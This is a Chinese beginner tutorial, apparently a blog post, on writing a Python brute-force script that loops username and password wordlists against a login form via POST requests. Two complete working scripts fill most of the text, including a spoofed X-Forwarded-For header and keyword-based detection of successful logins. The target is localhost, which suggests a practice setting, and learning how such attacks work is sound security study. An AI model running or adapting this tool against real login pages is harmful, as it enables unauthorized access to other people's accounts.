小白如何利用python编写爆破脚本(一)

简介: 这是一个简单的Python脚本,使用`requests`库进行POST请求密码爆破。脚本读取`usr.txt`和`pwd.txt`文件中的用户名和密码,针对`http://127.0.0.1:80/login.php`发送登录尝试。它模拟浏览器行为,处理响应,并根据用户选择输出所有尝试或仅输出成功登录。成功登录的依据是可以找到预定义的“成功”关键字。代码还包括了延迟和用户交互选项。

咱们先上个简单的脚本,边看着代码边说

# 导入requests库,它允许你发送HTTP请求并处理服务器的响应
import requests
# 读取文件usr.txt中的内容,这通常包含多个用户名,每个用户名一行
use = open('usr.txt', 'r').read()
# 读取文件pwd.txt中的内容,这通常包含多个密码,每个密码一行
pwd = open('pwd.txt', 'r').read()
# 设置目标URL,这里是一个本地运行的web服务器上的登录页面
url = "http://127.0.0.1:80/login.php"
# 对usr.txt中的每一个用户名使用\n作为分隔符
for i in use.split('\n'):
    # 对pwd.txt中的每一个密码使用\n作为分隔符
    for n in pwd.split('\n'):
        # 创建一个字典,其中包含登录表单的数据
        payload = {
   'username': i,
                   'password': n,
                   'login': ''}
        # 创建一个字典,其中包含HTTP头部信息
        headers = {
   'User-Agent': 'Mozilla/5.0 (Windows NT)',  # 模拟浏览器的User-Agent字符串
                   'X-Forwarded-For': '127.0.0.1'}  # 指定伪造的客户端IP地址
        # 使用POST方法向URL发送数据(payload),同时附带headers
        r = requests.post(url, data=payload, headers=headers)
        # 设置响应的编码方式为"utf-8",这样可以直接处理中文等非ASCII字符
        r.encoding = "utf-8"
        # 构建一个字符串,包含此次尝试的响应码、用户名、密码以及响应的长度
        rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
        # 打印构建好的字符串,用于监控每次尝试的结果
        print(rr)

这就是一个简单的通过post请求爆破账号密码的脚本,使用的是python的requests模块的功能

具体工作流程:

  1. 读取用户名.密码文件,确定目标url
  2. 利用循环向目标url发送post表单
  3. 将返回包解码并判断返回的响应码,字节
  4. 输出结果

HTTP头的获取

  1. 咱们可以利用burp抓个包,把头文件放在headers列表中,
  2. 有的浏览器插件(比如部分hackbar)也能看头
  3. F12管理员面板

HTTP头直接复制粘贴即可,(但有的网站的cookie有加密,亦或者是动态cookie,还有ip访问次数限制,但这里先不说这个)

post请求爆破

  1. 先抓一下登录功能的包,看一下要交几个参数变量
  2. 将相对应的变量放入payload列表中后利用for循环进行数据发送并捕捉回显

注意/改进

  1. 有的网站登录功能的前后端分开,(即login.html负责输入,login.php负责判断),这样的网站的爆破目标url需设置为php,因为php才是真实的判断登录是否成功的功能点,html只不过是一个媒介而已
  2. 响应文本若含有中文需要进行解码,可以通过查看源码获取页面的编码,通过xxx.encoding="编码方式"来进行解码,不然中文会乱码
  3. 将响应文本处理为,响应码,字节,用户名,密码等格式,也可以增加判断登录成功的条件,比如加入success列表,success=['登陆成功','欢迎','您好'],等等等,通过any(x in success for x in r.text)来进行判断是否成功
  4. 增加使用自定义字典

增加相应的功能后的代码:

import requests
from time import sleep
import re
"""
    爆破程序
    1.读取用户名密码文件
    2.读取url
    3.爆破
    4.输出结果
"""
print("=======================爆破程序准备中=======================")
success = ['欢迎回来', '登陆成功', '欢迎']
use = open('usr.txt', 'r').read()
pwd = open('pwd.txt', 'r').read()

url = "http://127.0.0.1:80/login.php"
sleep(0.5)
print("=========================开始爆破!=========================")
# sleep(0.5)
choice = input('选择爆破结果输出模式:\n a:输出全部结果 s:只输出成功结果\n')
for i in use.split('\n'):
    for n in pwd.split('\n'):
        # print(i,n)

        payload = {
   'username': i,
                   'password': n,
                   'login': ''}
        headers = {
   'User-Agent': 'Mozilla/5.0 (Windows NT)',
                   'X-Forwarded-For': '127.0.0.1'}
        r = requests.post(url, data=payload, headers=headers)
        r.encoding = "utf-8"
        if choice == "a":
            rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
            print(rr)
        if choice == "s" and any(s in r.text for s in success):
            print("=========================爆破成功!=========================")
            rr = ' |响应码:' + str(r.status_code) + '| |用户名:' + i + '| |密码:' + n + '| |字节:' + str(len(r.content)) + '|'
            print(rr)
sleep(0.5)
input("=========================爆破结束!=========================\n按回车键退出")
相关文章
|
6月前
|
IDE Linux 开发工具
技术小白如何配置Python环境
技术小白如何配置Python环境
125 0
|
数据采集 存储 JSON
使用Perl脚本编写爬虫程序的一些技术问题解答
使用Perl脚本编写爬虫程序的一些技术问题解答
|
2月前
|
存储 程序员 开发者
Python 编程入门:从零基础到编写实用脚本
【9月更文挑战第15天】本文是一篇面向初学者的Python编程入门指南,通过浅显易懂的语言和实际的代码示例,引导读者逐步掌握Python的基本概念、语法规则以及如何运用Python解决实际问题。文章不仅介绍了Python的基础知识点,还通过实例演示了如何将这些知识应用于日常编程任务中,帮助读者快速上手并能够独立编写简单的Python脚本。
|
6月前
|
Python
Python自动化办公实战案例:文件整理与邮件发送
Python自动化办公实战案例:文件整理与邮件发送
84 0
|
XML SQL JSON
从入门到实战编写Python Poc利用!
从入门到实战编写Python Poc利用!
|
存储 开发者 Python
我用python做了个测词汇量的小工具
大家好,昨天我发了一篇关于爬取校花照片的文章,兴致勃勃的拿去跟室友分享,结果他说他爱学习,作为他的室友我决定给他写一个测词汇量的程序,让他每天都能够快乐的学习!
155 0
我用python做了个测词汇量的小工具
|
程序员 Python Windows
Python 文件操作技巧
Python 文件操作技巧
|
Java 数据安全/隐私保护 Python
|
Python 运维 监控
python代码如何利用阿里云发送邮件
此代码是磁盘使用率超过90%就会发送邮件 #!/usr/bin/env python #coding:utf-8 import socket import re import os import smtplib import datetime import commands,time  from email.
2274 0